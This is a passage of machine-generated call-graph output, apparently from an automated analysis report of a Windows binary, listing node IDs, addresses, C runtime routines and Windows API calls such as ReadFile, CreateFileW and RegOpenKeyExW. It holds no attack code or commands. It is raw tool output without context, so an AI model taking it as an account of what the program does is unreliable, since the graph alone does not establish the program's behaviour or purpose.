ReadFile 102178->102182 102179->102175 102179->102176 102181->102179 102183 3712b4 102181->102183 102184 3712a4 102181->102184 102189 371264 MultiByteToWideChar 102181->102189 102186 371197 GetLastError 102182->102186 102194 3711a1 102182->102194 102183->102189 102242 3718c1 60 API calls 3 library calls 102183->102242 102241 368b28 58 API calls __getptd_noexit 102184->102241 102188 3714a0 GetLastError 102185->102188 102193 3714ae 102185->102193 102186->102194 102188->102193 102189->102172 102189->102179 102193->102177 102243 3718c1 60 API calls 3 library calls 102193->102243 102194->102178 102240 3718c1 60 API calls 3 library calls 102194->102240 102196 370bb2 102195->102196 102200 370bc7 102195->102200 102282 368b28 58 API calls __getptd_noexit 102196->102282 102198 370bb7 102283 368db6 9 API calls __swprintf 102198->102283 102201 370bfc 102200->102201 102206 370bc2 102200->102206 102284 375fe4 58 API calls __malloc_crt 102200->102284 102203 3646e6 __filbuf 58 API calls 102201->102203 102204 370c10 102203->102204 102249 370d47 102204->102249 102206->102113 102207 370c17 102207->102206 102208 3646e6 __filbuf 58 API calls 102207->102208 102209 370c3a 102208->102209 102209->102206 102210 3646e6 __filbuf 58 API calls 102209->102210 102211 370c46 102210->102211 102211->102206 102212 3646e6 __filbuf 58 API calls 102211->102212 102213 370c53 102212->102213 102214 3646e6 __filbuf 58 API calls 102213->102214 102214->102206 102215->102116 102216->102108 102217->102113 102218->102116 102219->102124 102220->102126 102222 375c76 102221->102222 102223 375c83 102221->102223 102224 368b28 __swprintf 58 API calls 102222->102224 102225 375c8f 102223->102225 102226 368b28 __swprintf 58 API calls 102223->102226 102227 375c7b 102224->102227 102225->102155 102228 375cb0 102226->102228 102227->102155 102229 368db6 __swprintf 9 API calls 102228->102229 102229->102227 102230->102133 102231->102175 102232->102141 102233->102140 102234->102141 102235->102151 102236->102162 102237->102175 102238->102150 102239->102179 102240->102194 102241->102179 102242->102189 102243->102193 102244->102171 102245->102179 102246->102135 102247->102140 102248->102175 102250 370d53 _doexit 102249->102250 102251 370d77 102250->102251 102252 370d60 102250->102252 102254 370e3b 102251->102254 102257 370d8b 102251->102257 102253 368af4 __commit 58 API calls 102252->102253 102256 370d65 102253->102256 102255 368af4 __commit 58 API calls 102254->102255 102258 370dae 102255->102258 102259 368b28 __swprintf 58 API calls 102256->102259 102260 370db6 102257->102260 102261 370da9 102257->102261 102267 368b28 __swprintf 58 API calls 102258->102267 102271 370d6c _doexit 102259->102271 102263 370dc3 102260->102263 102264 370dd8 102260->102264 102262 368af4 __commit 58 API calls 102261->102262 102262->102258 102265 368af4 __commit 58 API calls 102263->102265 102266 36d206 ___lock_fhandle 59 API calls 102264->102266 102268 370dc8 102265->102268 102269 370dde 102266->102269 102270 370dd0 102267->102270 102272 368b28 __swprintf 58 API calls 102268->102272 102273 370e04 102269->102273 102274 370df1 102269->102274 102276 368db6 __swprintf 9 API calls 102270->102276 102271->102207 102272->102270 102277 368b28 __swprintf 58 API calls 102273->102277 102275 370e5b __read_nolock 70 API calls 102274->102275 102279 370dfd 102275->102279 102276->102271 102278 370e09 102277->102278 102280 368af4 __commit 58 API calls 102278->102280 102281 370e33 __read LeaveCriticalSection 102279->102281 102280->102279 102281->102271 102282->102198 102283->102206 102284->102201 102288 36520a GetSystemTimeAsFileTime 102285->102288 102287 3a8f6e 102287->101877 102289 365238 __aulldiv 102288->102289 102289->102287 102291 365c6c _doexit 102290->102291 102292 365c93 102291->102292 102293 365c7e 102291->102293 102295 366c11 __lock_file 59 API calls 102292->102295 102304 368b28 58 API calls __getptd_noexit 102293->102304 102297 365c99 102295->102297 102296 365c83 102305 368db6 9 API calls __swprintf 102296->102305 102306 3658d0 67 API calls 6 library calls 102297->102306 102300 365ca4 102307 365cc4 LeaveCriticalSection LeaveCriticalSection _fseek 102300->102307 102302 365cb6 102303 365c8e _doexit 102302->102303 102303->101882 102304->102296 102305->102303 102306->102300 102307->102302 102309 347f9a _memmove 102308->102309 102310 347f87 102308->102310 102309->101735 102310->102309 102311 360db6 Mailbox 59 API calls 102310->102311 102311->102309 102312->101743 102313->101756 102314->101759 102315->101755 102316->101764 102318 349169 Mailbox 102317->102318 102319 37f19f 102318->102319 102324 349173 102318->102324 102320 360db6 Mailbox 59 API calls 102319->102320 102322 37f1ab 102320->102322 102321 34917a 102321->101770 102324->102321 102325 349c90 59 API calls Mailbox 102324->102325 102325->102324 102326->101779 102327->101776 102331 3a9748 __tzset_nolock _wcscmp 102328->102331 102329 3a9109 GetSystemTimeAsFileTime 102329->102331 102330 3a95dc 102330->101785 102330->101812 102331->102329 102331->102330 102332 344f0b 74 API calls 102331->102332 102333 344ee5 85 API calls 102331->102333 102332->102331 102333->102331 102335 3a8b1f 102334->102335 102336 3a8b11 102334->102336 102338 3a8b64 102335->102338 102339 36525b 115 API calls 102335->102339 102364 3a8b28 102335->102364 102337 36525b 115 API calls 102336->102337 102337->102335 102365 3a8d91 102338->102365 102341 3a8b49 102339->102341 102341->102338 102343 3a8b52 102341->102343 102342 3a8ba8 102344 3a8bac 102342->102344 102345 3a8bcd 102342->102345 102347 3653a6 __fcloseall 83 API calls 102343->102347 102343->102364 102346 3a8bb9 102344->102346 102349 3653a6 __fcloseall 83 API calls 102344->102349 102369 3a89a9 102345->102369 102351 3653a6 __fcloseall 83 API calls 102346->102351 102346->102364 102347->102364 102349->102346 102351->102364 102352 3a8bfb 102378 3a8c2b 102352->102378 102353 3a8bdb 102354 3a8be8 102353->102354 102356 3653a6 __fcloseall 83 API calls 102353->102356 102358 3653a6 __fcloseall 83 API calls 102354->102358 102354->102364 102356->102354 102358->102364 102361 3a8c16 102363 3653a6 __fcloseall 83 API calls 102361->102363 102361->102364 102363->102364 102364->101814 102366 3a8db6 102365->102366 102368 3a8d9f __tzset_nolock _memmove 102365->102368 102367 3655e2 __fread_nolock 74 API calls 102366->102367 102367->102368 102368->102342 102370 36571c __malloc_crt 58 API calls 102369->102370 102371 3a89b8 102370->102371 102372 36571c __malloc_crt 58 API calls 102371->102372 102373 3a89cc 102372->102373 102374 36571c __malloc_crt 58 API calls 102373->102374 102375 3a89e0 102374->102375 102376 3a8d0d 58 API calls 102375->102376 102377 3a89f3 102375->102377 102376->102377 102377->102352 102377->102353 102385 3a8c40 102378->102385 102379 3a8cf8 102407 3a8f35 102379->102407 102381 3a8c02 102386 3a8d0d 102381->102386 102382 3a8a05 74 API calls 102382->102385 102385->102379 102385->102381 102385->102382 102411 3a8aa1 74 API calls 102385->102411 102412 3a8e12 80 API calls 102385->102412 102387 3a8d1a 102386->102387 102391 3a8d20 102386->102391 102388 362d55 _free 58 API calls 102387->102388 102388->102391 102389 362d55 _free 58 API calls 102392 3a8d31 102389->102392 102390 3a8c09 102390->102361 102394 3653a6 102390->102394 102391->102389 102391->102392 102392->102390 102393 362d55 _free 58 API calls 102392->102393 102393->102390 102395 3653b2 _doexit 102394->102395 102396 3653c6 102395->102396 102397 3653de 102395->102397 102494 368b28 58 API calls __getptd_noexit 102396->102494 102400 366c11 __lock_file 59 API calls 102397->102400 102403 3653d6 _doexit 102397->102403 102399 3653cb 102495 368db6 9 API calls __swprintf 102399->102495 102402 3653f0 102400->102402 102478 36533a 102402->102478 102403->102361 102408 3a8f53 102407->102408 102409 3a8f42 102407->102409 102408->102381 102413 364863 102409->102413 102411->102385 102412->102385 102414 36486f _doexit 102413->102414 102415 36489d _doexit 102414->102415 102416 3648a5 102414->102416 102417 36488d 102414->102417 102415->102408 102419 366c11 __lock_file 59 API calls 102416->102419 102438 368b28 58 API calls __getptd_noexit 102417->102438 102420 3648ab 102419->102420 102426 36470a 102420->102426 102421 364892 102439 368db6 9 API calls __swprintf 102421->102439 102427 364737 102426->102427 102429 364719 102426->102429 102440 3648dd LeaveCriticalSection LeaveCriticalSection _fseek 102427->102440 102428 364727 102469 368b28 58 API calls __getptd_noexit 102428->102469 102429->102427 102429->102428 102432 364751 _memmove 102429->102432 102431 36472c 102470 368db6 9 API calls __swprintf 102431->102470 102432->102427 102436 3646e6 __filbuf 58 API calls 102432->102436 102441 36d886 102432->102441 102471 364a3d 102432->102471 102477 36ae1e 78 API calls 7 library calls 102432->102477 102436->102432 102438->102421 102439->102415 102440->102415 102442 36d892 _doexit 102441->102442 102443 36d8b6 102442->102443 102444 36d89f 102442->102444 102446 36d955 102443->102446 102448 36d8ca 102443->102448 102445 368af4 __commit 58 API calls 102444->102445 102447 36d8a4 102445->102447 102449 368af4 __commit 58 API calls 102446->102449 102450 368b28 __swprintf 58 API calls 102447->102450 102451 36d8f2 102448->102451 102452 36d8e8 102448->102452 102453 36d8ed 102449->102453 102464 36d8ab _doexit 102450->102464 102455 36d206 ___lock_fhandle 59 API calls 102451->102455 102454 368af4 __commit 58 API calls 102452->102454 102457 368b28 __swprintf 58 API calls 102453->102457 102454->102453 102456 36d8f8 102455->102456 102458 36d91e 102456->102458 102459 36d90b 102456->102459 102460 36d961 102457->102460 102463 368b28 __swprintf 58 API calls 102458->102463 102461 36d975 __write_nolock 76 API calls 102459->102461 102462 368db6 __swprintf 9 API calls 102460->102462 102465 36d917 102461->102465 102462->102464 102466 36d923 102463->102466 102464->102432 102468 36d94d __write LeaveCriticalSection 102465->102468 102467 368af4 __commit 58 API calls 102466->102467 102467->102465 102468->102464 102469->102431 102470->102427 102472 364a74 102471->102472 102473 364a50 102471->102473 102472->102432 102473->102472 102474 3646e6 __filbuf 58 API calls 102473->102474 102475 364a6d 102474->102475 102476 36d886 __write 78 API calls 102475->102476 102476->102472 102477->102432 102479 36535d 102478->102479 102480 365349 102478->102480 102483 364a3d __flush 78 API calls 102479->102483 102486 365359 102479->102486 102527 368b28 58 API calls __getptd_noexit 102480->102527 102482 36534e 102528 368db6 9 API calls __swprintf 102482->102528 102485 365369 102483->102485 102497 370b77 102485->102497 102496 365415 LeaveCriticalSection LeaveCriticalSection _fseek 102486->102496 102489 3646e6 __filbuf 58 API calls 102490 365377 102489->102490 102501 370a02 102490->102501 102492 36537d 102492->102486 102493 362d55 _free 58 API calls 102492->102493 102493->102486 102494->102399 102495->102403 102496->102403 102498 365371 102497->102498 102499 370b84 102497->102499 102498->102489 102499->102498 102500 362d55 _free 58 API calls 102499->102500 102500->102498 102502 370a0e _doexit 102501->102502 102503 370a32 102502->102503 102504 370a1b 102502->102504 102506 370abd 102503->102506 102508 370a42 102503->102508 102553 368af4 58 API calls __getptd_noexit 102504->102553 102558 368af4 58 API calls __getptd_noexit 102506->102558 102507 370a20 102554 368b28 58 API calls __getptd_noexit 102507->102554 102511 370a60 102508->102511 102512 370a6a 102508->102512 102555 368af4 58 API calls __getptd_noexit 102511->102555 102529 36d206 102512->102529 102513 370a65 102559 368b28 58 API calls __getptd_noexit 102513->102559 102517 370a70 102518 370a83 102517->102518 102519 370a8e 102517->102519 102538 370add 102518->102538 102556 368b28 58 API calls __getptd_noexit 102519->102556 102520 370ac9 102560 368db6 9 API calls __swprintf 102520->102560 102522 370a27 _doexit 102522->102492 102525 370a89 102557 370ab5 LeaveCriticalSection __unlock_fhandle 102525->102557 102527->102482 102528->102486 102530 36d212 _doexit 102529->102530 102531 36d261 EnterCriticalSection 102530->102531 102532 369c0b __lock 58 API calls 102530->102532 102533 36d287 _doexit 102531->102533 102534 36d237 102532->102534 102533->102517 102535 36d24f 102534->102535 102561 369e2b InitializeCriticalSectionAndSpinCount 102534->102561 102562 36d28b LeaveCriticalSection _doexit 102535->102562 102563 36d4c3 102538->102563 102540 370aeb 102541 370b41 102540->102541 102543 370b1f 102540->102543 102544 36d4c3 __commit 58 API calls 102540->102544 102576 36d43d 59 API calls 2 library calls 102541->102576 102543->102541 102545 36d4c3 __commit 58 API calls 102543->102545 102547 370b16 102544->102547 102548 370b2b CloseHandle 102545->102548 102546 370b49 102549 370b6b 102546->102549 102577 368b07 58 API calls 3 library calls 102546->102577 102550 36d4c3 __commit 58 API calls 102547->102550 102548->102541 102551 370b37 GetLastError 102548->102551 102549->102525 102550->102543 102551->102541 102553->102507 102554->102522 102555->102513 102556->102525 102557->102522 102558->102513 102559->102520 102560->102522 102561->102535 102562->102531 102564 36d4e3 102563->102564 102565 36d4ce 102563->102565 102567 368af4 __commit 58 API calls 102564->102567 102571 36d508 102564->102571 102566 368af4 __commit 58 API calls 102565->102566 102568 36d4d3 102566->102568 102569 36d512 102567->102569 102570 368b28 __swprintf 58 API calls 102568->102570 102572 368b28 __swprintf 58 API calls 102569->102572 102573 36d4db 102570->102573 102571->102540 102574 36d51a 102572->102574 102573->102540 102575 368db6 __swprintf 9 API calls 102574->102575 102575->102573 102576->102546 102577->102549 102640 371940 102578->102640 102581 34477c 102584 347bcc 59 API calls 102581->102584 102582 344799 102646 347d8c 102582->102646 102585 344788 102584->102585 102642 347726 102585->102642 102588 360791 102589 36079e __write_nolock 102588->102589 102590 36079f GetLongPathNameW 102589->102590 102591 347bcc 59 API calls 102590->102591 102592 3472bd 102591->102592 102593 34700b 102592->102593 102594 347667 59 API calls 102593->102594 102595 34701d 102594->102595 102596 344750 60 API calls 102595->102596 102597 347028 102596->102597 102598 347033 102597->102598 102603 37e885 102597->102603 102600 343f74 59 API calls 102598->102600 102601 34703f 102600->102601 102654 3434c2 102601->102654 102605 37e89f 102603->102605 102660 347908 61 API calls 102603->102660 102604 347052 Mailbox 102604->101503 102607 344ddd 136 API calls 102606->102607 102608 34688f 102607->102608 102609 37e031 102608->102609 102611 344ddd 136 API calls 102608->102611 102610 3a955b 122 API calls 102609->102610 102612 37e046 102610->102612 102613 3468a3 102611->102613 102614 37e067 102612->102614 102615 37e04a 102612->102615 102613->102609 102616 3468ab 102613->102616 102618 360db6 Mailbox 59 API calls 102614->102618 102617 344e4a 84 API calls 102615->102617 102619 3468b7 102616->102619 102620 37e052 102616->102620 102617->102620 102639 37e0ac Mailbox 102618->102639 102661 346a8c 102619->102661 102754 3a42f8 90 API calls _wprintf 102620->102754 102624 37e060 102624->102614 102625 37e260 102626 362d55 _free 58 API calls 102625->102626 102627 37e268 102626->102627 102628 344e4a 84 API calls 102627->102628 102633 37e271 102628->102633 102632 362d55 _free 58 API calls 102632->102633 102633->102632 102634 344e4a 84 API calls 102633->102634 102760 39f7a1 89 API calls 4 library calls 102633->102760 102634->102633 102636 347de1 59 API calls 102636->102639 102639->102625 102639->102633 102639->102636 102755 39f73d 59 API calls 2 library calls 102639->102755 102756 39f65e 61 API calls 2 library calls 102639->102756 102757 3a737f 59 API calls Mailbox 102639->102757 102758 34750f 59 API calls 2 library calls 102639->102758 102759 34735d 59 API calls Mailbox 102639->102759 102641 34475d GetFullPathNameW 102640->102641 102641->102581 102641->102582 102643 347734 102642->102643 102650 347d2c 102643->102650 102645 344794 102645->102588 102647 347da6 102646->102647 102648 347d99 102646->102648 102649 360db6 Mailbox 59 API calls 102647->102649 102648->102585 102649->102648 102651 347d3a 102650->102651 102653 347d43 _memmove 102650->102653 102652 347e4f 59 API calls 102651->102652 102651->102653 102652->102653 102653->102645 102655 3434d4 102654->102655 102659 3434f3 _memmove 102654->102659 102657 360db6 Mailbox 59 API calls 102655->102657 102656 360db6 Mailbox 59 API calls 102658 34350a 102656->102658 102657->102659 102658->102604 102659->102656 102660->102603 102662 346ab5 102661->102662 102663 37e41e 102661->102663 102766 3457a6 60 API calls Mailbox 102662->102766 102852 39f7a1 89 API calls 4 library calls 102663->102852 102666 37e431 102853 39f7a1 89 API calls 4 library calls 102666->102853 102667 346ad7 102767 3457f6 102667->102767 102670 346af4 102672 347667 59 API calls 102670->102672 102674 346b00 102672->102674 102673 37e44d 102676 346b61 102673->102676 102780 360957 60 API calls __write_nolock 102674->102780 102678 37e460 102676->102678 102679 346b6f 102676->102679 102677 346b0c 102681 347667 59 API calls 102677->102681 102682 345c6f CloseHandle 102678->102682 102680 347667 59 API calls 102679->102680 102683 346b78 102680->102683 102684 346b18 102681->102684 102685 37e46c 102682->102685 102686 347667 59 API calls 102683->102686 102687 344750 60 API calls 102684->102687 102688 344ddd 136 API calls 102685->102688 102690 346b81 102686->102690 102691 346b26 102687->102691 102689 37e488 102688->102689 102692 37e4b1 102689->102692 102695 3a955b 122 API calls 102689->102695 102790 34459b 102690->102790 102781 345850 ReadFile SetFilePointerEx 102691->102781 102854 39f7a1 89 API calls 4 library calls 102692->102854 102699 37e4a4 102695->102699 102696 346b98 102700 347b2e 59 API calls 102696->102700 102698 346b52 102782 345aee 102698->102782 102703 37e4cd 102699->102703 102704 37e4ac 102699->102704 102705 346ba9 SetCurrentDirectoryW 102700->102705 102701 37e4c8 102733 346d0c Mailbox 102701->102733 102707 344e4a 84 API calls 102703->102707 102706 344e4a 84 API calls 102704->102706 102710 346bbc Mailbox 102705->102710 102706->102692 102708 37e4d2 102707->102708 102709 360db6 Mailbox 59 API calls 102708->102709 102715 37e506 102709->102715 102712 360db6 Mailbox 59 API calls 102710->102712 102714 346bcf 102712->102714 102713 343bbb 102713->101357 102713->101365 102716 34522e 59 API calls 102714->102716 102855 34750f 59 API calls 2 library calls 102715->102855 102730 346bda Mailbox __wsetenvp 102716->102730 102718 346ce7 102848 345c6f 102718->102848 102720 37e740 102861 3a72df 59 API calls Mailbox 102720->102861 102723 37e54f Mailbox 102723->102720 102745 347de1 59 API calls 102723->102745 102748 37e792 102723->102748 102856 39f73d 59 API calls 2 library calls 102723->102856 102857 39f65e 61 API calls 2 library calls 102723->102857 102858 3a737f 59 API calls Mailbox 102723->102858 102859 34750f 59 API calls 2 library calls 102723->102859 102860 347213 59 API calls Mailbox 102723->102860 102726 37e762 102862 3bfbce 59 API calls 2 library calls 102726->102862 102729 37e76f 102731 362d55 _free 58 API calls 102729->102731 102730->102718 102737 37e7d1 102730->102737 102739 347de1 59 API calls 102730->102739 102742 37e7d9 102730->102742 102841 34586d 67 API calls _wcscpy 102730->102841 102842 346f5d GetStringTypeW 102730->102842 102843 346ecc 60 API calls __wcsnicmp 102730->102843 102844 346faa GetStringTypeW __wsetenvp 102730->102844 102845 36363d GetStringTypeW _iswctype 102730->102845 102846 3468dc 165 API calls 3 library calls 102730->102846 102847 347213 59 API calls Mailbox 102730->102847 102731->102733 102761 3457d4 102733->102761 102735 37e7f2 102735->102718 102864 39f5f7 59 API calls 4 library calls 102737->102864 102739->102730 102865 39f7a1 89 API calls 4 library calls 102742->102865 102745->102723 102863 39f7a1 89 API calls 4 library calls 102748->102863 102751 37e7ab 102752 362d55 _free 58 API calls 102751->102752 102753 37e7be 102752->102753 102753->102733 102754->102624 102755->102639 102756->102639 102757->102639 102758->102639 102759->102639 102760->102633 102762 345c6f CloseHandle 102761->102762 102763 3457dc Mailbox 102762->102763 102764 345c6f CloseHandle 102763->102764 102765 3457eb 102764->102765 102765->102713 102766->102667 102768 345c6f CloseHandle 102767->102768 102769 345802 102768->102769 102866 345c99 102769->102866 102771 345844 102771->102666 102771->102670 102772 345821 102772->102771 102874 345610 102772->102874 102774 345833 102891 34527b SetFilePointerEx SetFilePointerEx 102774->102891 102776 37dc07 102892 3a345a SetFilePointerEx SetFilePointerEx WriteFile 102776->102892 102777 34583a 102777->102771 102777->102776 102779 37dc37 102779->102771 102780->102677 102781->102698 102789 345b08 102782->102789 102783 345b8f SetFilePointerEx 102905 345c4e SetFilePointerEx 102783->102905 102784 37dd28 102906 345c4e SetFilePointerEx 102784->102906 102787 345b63 102787->102676 102788 37dd42 102789->102783 102789->102784 102789->102787 102791 347667 59 API calls 102790->102791 102792 3445b1 102791->102792 102793 347667 59 API calls 102792->102793 102794 3445b9 102793->102794 102795 347667 59 API calls 102794->102795 102796 3445c1 102795->102796 102797 347667 59 API calls 102796->102797 102798 3445c9 102797->102798 102799 37d4d2 102798->102799 102800 3445fd 102798->102800 102801 348047 59 API calls 102799->102801 102802 34784b 59 API calls 102800->102802 102803 37d4db 102801->102803 102804 34460b 102802->102804 102805 347d8c 59 API calls 102803->102805 102806 347d2c 59 API calls 102804->102806 102808 344640 102805->102808 102807 344615 102806->102807 102807->102808 102809 34784b 59 API calls 102807->102809 102810 344680 102808->102810 102812 34465f 102808->102812 102823 37d4fb 102808->102823 102813 344636 102809->102813 102907 34784b 102810->102907 102817 3479f2 59 API calls 102812->102817 102816 347d2c 59 API calls 102813->102816 102814 344691 102819 3446a3 102814->102819 102821 348047 59 API calls 102814->102821 102815 37d5cb 102820 347bcc 59 API calls 102815->102820 102816->102808 102818 344669 102817->102818 102818->102810 102824 34784b 59 API calls 102818->102824 102822 3446b3 102819->102822 102825 348047 59 API calls 102819->102825 102836 37d588 102820->102836 102821->102819 102827 3446ba 102822->102827 102828 348047 59 API calls 102822->102828 102823->102815 102826 37d5b4 102823->102826 102835 37d532 102823->102835 102824->102810 102825->102822 102826->102815 102832 37d59f 102826->102832 102829 348047 59 API calls 102827->102829 102838 3446c1 Mailbox 102827->102838 102828->102827 102829->102838 102830 3479f2 59 API calls 102830->102836 102831 37d590 102833 347bcc 59 API calls 102831->102833 102834 347bcc 59 API calls 102832->102834 102833->102836 102834->102836 102835->102831 102839 37d57b 102835->102839 102836->102810 102836->102830 102920 347924 59 API calls 2 library calls 102836->102920 102838->102696 102840 347bcc 59 API calls 102839->102840 102840->102836 102841->102730 102842->102730 102843->102730 102844->102730 102845->102730 102846->102730 102847->102730 102849 345c88 102848->102849 102850 345c79 102848->102850 102849->102850 102852->102666 102853->102673 102854->102701 102855->102723 102856->102723 102857->102723 102858->102723 102859->102723 102860->102723 102861->102726 102862->102729 102863->102751 102864->102742 102865->102735 102867 345cb2 CreateFileW 102866->102867 102868 37dd58 102866->102868 102869 345cd4 102867->102869 102868->102869 102870 37dd5e CreateFileW 102868->102870 102869->102772 102870->102869 102871 37dd84 102870->102871 102872 345aee 2 API calls 102871->102872 102873 37dd8f 102872->102873 102873->102869 102875 37dba5 102874->102875 102876 34562b 102874->102876 102890 3456ba 102875->102890 102899 345cdf 102875->102899 102877 345aee 2 API calls 102876->102877 102876->102890 102878 34564d 102877->102878 102879 34522e 59 API calls 102878->102879 102881 345657 102879->102881 102881->102875 102882 345664 102881->102882 102883 360db6 Mailbox 59 API calls 102882->102883 102884 34566f 102883->102884 102885 34522e 59 API calls 102884->102885 102886 34567a 102885->102886 102893 345bc0 102886->102893 102889 345aee 2 API calls 102889->102890 102890->102774 102891->102777 102892->102779 102894 345c33 102893->102894 102898 345bce 102893->102898 102904 345c4e SetFilePointerEx 102894->102904 102896 3456a7 102896->102889 102897 345c06 ReadFile 102897->102896 102897->102898 102898->102896 102898->102897 102900 345aee 2 API calls 102899->102900 102901 345d00 102900->102901 102902 345aee 2 API calls 102901->102902 102903 345d14 102902->102903 102903->102890 102904->102898 102905->102787 102906->102788 102908 3478b7 102907->102908 102909 34785a 102907->102909 102910 347d2c 59 API calls 102908->102910 102909->102908 102911 347865 102909->102911 102917 347888 _memmove 102910->102917 102912 347880 102911->102912 102913 37eb09 102911->102913 102921 347f27 59 API calls Mailbox 102912->102921 102922 348029 102913->102922 102916 37eb13 102918 360db6 Mailbox 59 API calls 102916->102918 102917->102814 102919 37eb33 102918->102919 102920->102836 102921->102917 102923 360db6 Mailbox 59 API calls 102922->102923 102924 348033 102923->102924 102924->102916 102925->101514 102927 346d95 102926->102927 102931 346ea9 102926->102931 102928 360db6 Mailbox 59 API calls 102927->102928 102927->102931 102930 346dbc 102928->102930 102929 360db6 Mailbox 59 API calls 102935 346e31 102929->102935 102930->102929 102931->101518 102935->102931 102939 346240 102935->102939 102964 34735d 59 API calls Mailbox 102935->102964 102965 396553 59 API calls Mailbox 102935->102965 102966 34750f 59 API calls 2 library calls 102935->102966 102937->101521 102938->101523 102967 347a16 102939->102967 102941 34646a 102974 34750f 59 API calls 2 library calls 102941->102974 102943 346484 Mailbox 102943->102935 102946 37dff6 102977 39f8aa 91 API calls 4 library calls 102946->102977 102947 347d8c 59 API calls 102956 346265 102947->102956 102948 34750f 59 API calls 102948->102956 102952 37e004 102978 34750f 59 API calls 2 library calls 102952->102978 102955 346799 _memmove 102979 39f8aa 91 API calls 4 library calls 102955->102979 102956->102941 102956->102946 102956->102947 102956->102948 102956->102955 102957 37df92 102956->102957 102961 347e4f 59 API calls 102956->102961 102972 345f6c 60 API calls 102956->102972 102973 345d41 59 API calls Mailbox 102956->102973 102975 345e72 60 API calls 102956->102975 102976 347924 59 API calls 2 library calls 102956->102976 102958 348029 59 API calls 102957->102958 102959 37df9d 102958->102959 102963 360db6 Mailbox 59 API calls 102959->102963 102962 34643b CharUpperBuffW 102961->102962 102962->102956 102963->102955 102964->102935 102965->102935 102966->102935 102968 360db6 Mailbox 59 API calls 102967->102968 102969 347a3b 102968->102969 102970 348029 59 API calls 102969->102970 102971 347a4a 102970->102971 102971->102956 102972->102956 102973->102956 102974->102943 102975->102956 102976->102956 102977->102952 102979->102943 102980->101536 102981->101537 102983 344196 102982->102983 102984 37d423 102982->102984 102983->101543 103008 3a2f94 62 API calls _W_store_winword 102983->103008 102984->102983 102985 37d42c DestroyIcon 102984->102985 102985->102983 103008->101543 103048 34f650 103047->103048 103049 34f4ba 103047->103049 103067->101626 103068->101626 103072->101565 103073->101565 103074->101565 103075->101626 103076->101626 103077->101626 103079 349851 103078->103079 103080 34984b 103078->103080 103080->101626 103096->101626 103097->101626 103098->101626 103610 341055 103615 342649 103610->103615 103613 362d40 __cinit 67 API calls 103614 341064 103613->103614 103616 347667 59 API calls 103615->103616 103617 3426b7 103616->103617 103622 343582 103617->103622 103620 342754 103621 34105a 103620->103621 103625 343416 59 API calls 2 library calls 103620->103625 103621->103613 103626 3435b0 103622->103626 103625->103620 103627 3435bd 103626->103627 103628 3435a1 103626->103628 103627->103628 103629 3435c4 RegOpenKeyExW 103627->103629 103628->103620 103629->103628 103630 3435de RegQueryValueExW 103629->103630 103631 343614 RegCloseKey 103630->103631 103632 3435ff 103630->103632 103631->103628 103632->103631 103633 341016 103638 344974 103633->103638 103636 362d40 __cinit 67 API calls 103637 341025 103636->103637 103639 360db6 Mailbox 59 API calls 103638->103639 103640 34497c 103639->103640 103641 34101b 103640->103641 103645 344936 103640->103645 103641->103636 103646 344951 103645->103646 103647 34493f 103645->103647 103649 3449a0 103646->103649 103648 362d40 __cinit 67 API calls 103647->103648 103648->103646 103650 347667 59 API calls 103649->103650 103651 3449b8 GetVersionExW 103650->103651 103652 347bcc 59 API calls 103651->103652 103653 3449fb 103652->103653 103654 347d2c 59 API calls 103653->103654 103662 344a28 103653->103662 103655 344a1c 103654->103655 103656 347726 59 API calls 103655->103656 103656->103662 103657 344a93 GetCurrentProcess IsWow64Process 103658 344aac 103657->103658 103660 344ac2 103658->103660 103661 344b2b GetSystemInfo 103658->103661 103659 37d864 103673 344b37 103660->103673 103663 344af8 103661->103663 103662->103657 103662->103659 103663->103641 103666 344ad4 103669 344b37 2 API calls 103666->103669 103667 344b1f GetSystemInfo 103668 344ae9 103667->103668 103668->103663 103671 344aef FreeLibrary 103668->103671 103670 344adc GetNativeSystemInfo 103669->103670 103670->103668 103671->103663 103674 344ad0 103673->103674 103675 344b40 LoadLibraryA 103673->103675 103674->103666 103674->103667 103675->103674 103676 344b51 GetProcAddress 103675->103676 103676->103674 103677 341066 103682 34f76f 103677->103682 103679 34106c 103680 362d40 __cinit 67 API calls 103679->103680 103681 341076 103680->103681 103683 34f790 103682->103683 103715 35ff03 103683->103715 103687 34f7d7 103688 347667 59 API calls 103687->103688 103689 34f7e1 103688->103689 103690 347667 59 API calls 103689->103690 103691 34f7eb 103690->103691 103692 347667 59 API calls 103691->103692 103693 34f7f5 103692->103693 103694 347667 59 API calls 103693->103694 103695 34f833 103694->103695 103696 347667 59 API calls 103695->103696 103697 34f8fe 103696->103697 103725 355f87 103697->103725 103701 34f930 103702 347667 59 API calls 103701->103702 103703 34f93a 103702->103703 103753 35fd9e 103703->103753 103705 34f981 103706 34f991 GetStdHandle 103705->103706 103707 3845ab 103706->103707 103708 34f9dd 103706->103708 103707->103708 103710 3845b4 103707->103710 103709 34f9e5 OleInitialize 103708->103709 103709->103679 103760 3a6b38 64 API calls Mailbox 103710->103760 103712 3845bb 103761 3a7207 CreateThread 103712->103761 103714 3845c7 CloseHandle 103714->103709 103762 35ffdc 103715->103762 103718 35ffdc 59 API calls 103719 35ff45 103718->103719 103720 347667 59 API calls 103719->103720 103721 35ff51 103720->103721 103722 347bcc 59 API calls 103721->103722 103723 34f796 103722->103723 103724 360162 6 API calls 103723->103724 103724->103687 103726 347667 59 API calls 103725->103726 103727 355f97 103726->103727 103728 347667 59 API calls 103727->103728 103729 355f9f 103728->103729 103769 355a9d 103729->103769 103732 355a9d 59 API calls 103733 355faf 103732->103733 103734 347667 59 API calls 103733->103734 103735 355fba 103734->103735 103736 360db6 Mailbox 59 API calls 103735->103736 103737 34f908 103736->103737 103738 3560f9 103737->103738 103739 356107 103738->103739 103740 347667 59 API calls 103739->103740 103741 356112 103740->103741 103742 347667 59 API calls 103741->103742 103743 35611d 103742->103743 103744 347667 59 API calls 103743->103744 103745 356128 103744->103745 103746 347667 59 API calls 103745->103746 103747 356133 103746->103747 103748 355a9d 59 API calls 103747->103748 103749 35613e 103748->103749 103750 360db6 Mailbox 59 API calls 103749->103750 103751 356145 RegisterWindowMessageW 103750->103751 103751->103701 103754 39576f 103753->103754 103755 35fdae 103753->103755 103772 3a9ae7 60 API calls 103754->103772 103757 360db6 Mailbox 59 API calls 103755->103757 103759 35fdb6 103757->103759 103758 39577a 103759->103705 103760->103712 103761->103714 103773 3a71ed 65 API calls 103761->103773 103763 347667 59 API calls 103762->103763 103764 35ffe7 103763->103764 103765 347667 59 API calls 103764->103765 103766 35ffef 103765->103766 103767 347667 59 API calls 103766->103767 103768 35ff3b 103767->103768 103768->103718 103770 347667 59 API calls 103769->103770 103771 355aa5 103770->103771 103771->103732 103772->103758 103774 343633 103775 34366a 